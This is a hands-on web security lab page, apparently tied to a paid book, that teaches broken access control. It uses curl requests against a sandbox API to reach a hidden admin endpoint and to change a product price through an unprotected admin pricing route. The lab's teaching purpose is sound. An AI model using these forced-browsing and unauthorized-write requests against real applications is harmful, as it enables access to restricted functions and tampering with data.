Broken Access Control
A small web app has a user area and an admin area. The user area is public. The admin area is supposed to be locked. It isn't — the lock is on the UI, not on the server.
The rule: you're a normal user in this sandbox. The server decides what you can reach. Look at what the UI hides from you — and then ask the server directly.
Test
Copy these. Run them. Read what comes back.
Step 1 · Fetch the user dashboard
This is what a normal user sees. Notice the links provided.
curl -s "{LAB_API_BASE}/api/03/dashboard"What you'll see:
{
"user": "demo",
"role": "user",
"links": {
"profile": "/api/03/profile",
"settings": "/api/03/settings",
"logout": "/api/03/logout"
}
}Note what's missing. There's no admin link. The UI has hidden the admin area from you — but the server itself has not been asked whether you're allowed to reach it.
Step 2 · Ask the server directly
The UI hides /admin. That doesn't mean the route doesn't exist. Try it.
curl -s "{LAB_API_BASE}/api/03/admin"What you'll see:
{
"panel": "admin",
"metrics": {
"users": 142,
"orders": 37
},
"links": {
"users": "/api/03/admin/users",
"orders": "/api/03/admin/orders",
"audit": "/api/03/admin/audit/admin-audit-log-v3.txt",
"update_prices": "/api/03/admin/pricing"
},
"note": "Admin only. Do not share."
}You reached the admin panel. The server never asked whether you were an admin. It even handed you the exact links to the admin's private tools. That is broken access control.
Step 3 · Use the admin's own update tool
The admin panel exposed an endpoint to update prices. Since the server doesn't check your role, you can use it too. Let's update the price of the online_book to 100.
curl -s -X POST "{LAB_API_BASE}/api/03/admin/pricing" \
-H "Content-Type: application/json" \
-d '{"product": "online_book", "price": 100}'What you'll see:
{
"ok": true,
"product": "online_book",
"price": 100,
"message": "Online book price updated"
}You just changed the price of the online book. As a normal user. That is the whole lesson: the access check was never there.
Challenge
Now do it yourself. No copy-paste. Everything you need is above.
You successfully updated the price of the online book. But the store sells a physical book too. Your objective is to update the price of the physical_book.
Solved.
You reached what should have been locked, and you used the admin's own tools to do it. Read why it happened and how to prevent it — in Lesson 03.
Read Lesson 03 in the bookThis lab is free. The deep and the full knowledge is in the book. Full 30 Lessons
Lesson 03 — Broken Access Control
You've practiced the exploit. Now learn why it happens, how attackers weaponize it, developer mistakes, how to fix it etc in the full Hunterlian book.
Buy the bookAlready have the book? Back to reader →